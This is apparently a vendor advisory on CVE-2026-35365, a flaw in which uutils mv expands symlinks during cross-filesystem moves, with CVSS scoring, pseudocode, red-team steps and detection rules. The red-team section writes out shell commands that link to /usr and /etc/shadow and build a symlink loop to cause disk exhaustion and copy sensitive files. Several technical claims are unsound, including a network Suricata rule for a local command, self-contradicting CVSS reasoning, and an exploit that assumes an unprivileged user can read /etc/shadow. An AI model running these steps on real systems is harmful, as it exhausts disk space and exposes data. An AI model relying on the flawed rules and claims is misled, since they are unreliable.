CVE-2026-35365

Executive Summary

CVE-2026-35365 is a vulnerability in the mv utility of the uutils coreutils project, a Rust-based reimplementation of standard Unix core utilities. The flaw occurs when moving directory trees across filesystem boundaries. Instead of preserving symbolic links (symlinks) as links, the implementation expands them, copying the actual target files or directories to the destination. This behavior can lead to severe resource exhaustion (disk space, inodes, and time), unintended duplication of sensitive data, and potential infinite recursion if symlink loops are present. The vulnerability is local, requiring an attacker to have user-level access to execute the mv command on a crafted directory tree. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the uutils coreutils package, which is distributed via package managers like cargo (Rust's package manager) and potentially as a system utility in some Linux distributions. Users who have replaced their system's coreutils with uutils are at risk. The package is not directly distributed via NPM, PyPI, Go, or Ruby, but it is a critical system component in environments where it is deployed.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) - The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) - No special conditions are required beyond crafting a directory tree with symlinks.
• Privileges Required (PR): Low (L) - The attacker needs user-level privileges to create files and symlinks.
• User Interaction (UI): None (N) - The victim does not need to perform any action beyond the attacker executing the mv command.
• Scope (S): Unchanged (U) - The vulnerability does not cross security boundaries.
• Confidentiality (C): Low (L) - Sensitive data could be duplicated to unintended locations.
• Integrity (I): Low (L) - Data could be copied to locations where it may be modified.
• Availability (A): High (H) - Resource exhaustion can lead to denial of service.

Overall Score: 6.6 (Medium)

Threat Level: Medium. The vulnerability requires local access and user-level privileges, but the potential for denial of service and data duplication makes it a significant concern in multi-tenant environments or shared hosting.

Deep Dive & Mechanics

The mv utility in uutils coreutils is designed to move files and directories. When moving a directory tree across filesystem boundaries (e.g., from one mount point to another), the utility must copy the data and then delete the source. The vulnerability lies in how it handles symbolic links within the source directory tree.

Normal Behavior (Expected): When encountering a symlink, the mv command should preserve the symlink itself at the destination. For example, moving a directory containing link -> /etc/passwd should result in a symlink link at the destination pointing to /etc/passwd.

Vulnerable Behavior: Instead of preserving the symlink, the vulnerable implementation resolves the symlink and copies the target file or directory. In the example above, it would copy the actual /etc/passwd file to the destination, creating a real file named link containing the contents of /etc/passwd.

Attack Scenarios:

1. Resource Exhaustion (Disk Space): An attacker creates a directory tree with symlinks pointing to a large directory (e.g., /usr or a large dataset). When mv is executed, it copies the entire contents of the target directory, filling up the destination filesystem.
2. Data Duplication: Symlinks pointing to sensitive files (e.g., /etc/shadow, /home/user/private.key) are expanded, creating copies of these files in the destination directory, potentially accessible to other users.
3. Infinite Recursion: A symlink loop (e.g., a -> b and b -> a) causes the mv command to enter an infinite loop, copying data repeatedly until resources are exhausted or the process is killed.

Vulnerable vs. Patched Code

Since no patch is available, the following is a conceptual comparison.

Vulnerable Code (Conceptual Rust):

// Pseudocode for vulnerable mv behavior
fn move_across_fs(src: Path, dst: Path) {
    for entry in walkdir(src) {
        let entry_path = entry.path();
        let target = dst.join(entry_path.strip_prefix(src));
        if entry.is_symlink() {
            // VULNERABLE: Resolves symlink and copies target
            let real_path = fs::read_link(entry_path)?;
            copy_recursive(&real_path, &target)?;
        } else {
            copy_file_or_dir(entry_path, &target)?;
        }
    }
    remove_dir_all(src)?;
}

Patched Code (Conceptual):

// Pseudocode for patched mv behavior
fn move_across_fs(src: Path, dst: Path) {
    for entry in walkdir(src) {
        let entry_path = entry.path();
        let target = dst.join(entry_path.strip_prefix(src));
        if entry.is_symlink() {
            // PATCHED: Preserves symlink
            let link_target = fs::read_link(entry_path)?;
            std::os::unix::fs::symlink(&link_target, &target)?;
        } else {
            copy_file_or_dir(entry_path, &target)?;
        }
    }
    remove_dir_all(src)?;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install a vulnerable version of uutils coreutils (e.g., via cargo install coreutils).
2. Create a test environment with limited disk space (e.g., a 100MB tmpfs mount).

Exploit Steps:

1. Create a malicious directory tree:

   mkdir -p /tmp/exploit/src
   cd /tmp/exploit/src
   # Create a symlink to a large directory (e.g., /usr)
   ln -s /usr large_dir
   # Create a symlink to a sensitive file
   ln -s /etc/shadow sensitive_file
   # Create a symlink loop
   mkdir loop_a loop_b
   ln -s ../loop_b loop_a/link
   ln -s ../loop_a loop_b/link
   

2. Execute the vulnerable mv command:

   # Move the directory tree to a destination on a different filesystem
   mv /tmp/exploit/src /mnt/destination/
   

3. Observe the impact:

   • The destination will contain a real copy of /usr (resource exhaustion).
   • A real file named sensitive_file containing /etc/shadow will be created.
   • The symlink loop will cause the mv command to hang and consume resources.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for unusual disk usage spikes: Alert on rapid increases in disk usage, especially on filesystems where mv operations are common.
2. Monitor for processes hanging: Detect mv processes that run for an unusually long time or consume excessive CPU/memory.
3. Audit symlink creation: Monitor for the creation of symlinks pointing to large or sensitive directories (e.g., /usr, /etc, /home).
4. Check for unexpected file copies: Look for files that appear to be copies of system files (e.g., /etc/shadow) in user-writable directories.

Response Steps:

1. Kill the hanging process: Use kill or killall mv to stop the resource exhaustion.
2. Remove the copied data: Delete the destination directory to free up disk space.
3. Investigate the source: Determine who created the malicious directory tree and take appropriate action.
4. Apply workaround: If possible, use the system's native mv (e.g., from GNU coreutils) instead of uutils.

Indicators of Compromise (IOCs)

• File System:
  • Unexpected large files or directories in user-writable locations.
  • Files that are copies of system files (e.g., /etc/shadow, /etc/passwd) in non-standard locations.
  • Symlink loops (detectable via find -L /path -type l -print).
• Process:
  • mv processes running for an extended period.
  • High disk I/O or CPU usage from mv processes.
• Logs:
  • Audit logs showing mv operations on directories containing symlinks.
  • System logs indicating disk space warnings.

Detection Engineering

YARA Rule

rule CVE_2026_35365_Symlink_Exploit {
    meta:
        description = "Detects directory trees crafted to exploit CVE-2026-35365 in uutils mv"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-35365"
    strings:
        $symlink_loop = /ln -s \.\.\/[a-zA-Z0-9_]+\s+[a-zA-Z0-9_]+\/link/
        $large_dir_symlink = /ln -s \/usr\s+[a-zA-Z0-9_]+/
        $sensitive_symlink = /ln -s \/etc\/(shadow|passwd)\s+[a-zA-Z0-9_]+/
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-35365 - uutils mv Symlink Expansion Exploit
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects execution of mv on directories containing symlinks that could lead to resource exhaustion or data duplication.
author: Valters IT
date: 2026-01-01
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/mv'
        CommandLine|contains: 'mv'
    filter:
        CommandLine|contains:
            - '/usr'
            - '/etc'
            - '/home'
    condition: selection and filter
falsepositives:
    - Legitimate system administration tasks
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2026-35365 - uutils mv Symlink Expansion Exploit"; content:"mv"; nocase; pcre:"/mv\s+\/tmp\/exploit\/src\s+\/mnt\/destination\//"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. Use GNU coreutils: Replace uutils coreutils with the standard GNU coreutils, which correctly handles symlinks during mv operations.
2. Restrict mv usage: Limit the use of mv on directories containing symlinks, especially across filesystem boundaries.
3. Monitor disk usage: Implement monitoring to detect rapid disk space consumption.

Long-term Remediation:

1. Patch uutils: Apply a patch that preserves symlinks instead of expanding them. The fix should modify the cross-filesystem move logic to use symlink() instead of copy() for symlink entries.
2. Update package: Once a patched version is released, update the uutils coreutils package via cargo update or the system package manager.
3. Code review: Conduct a security review of the mv implementation to ensure no similar issues exist.

Workaround:

• Use cp -a followed by rm -rf instead of mv when moving directory trees across filesystems. The cp -a command preserves symlinks correctly.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: 5A00EAEA40F7EB8ED1D62FF0] */}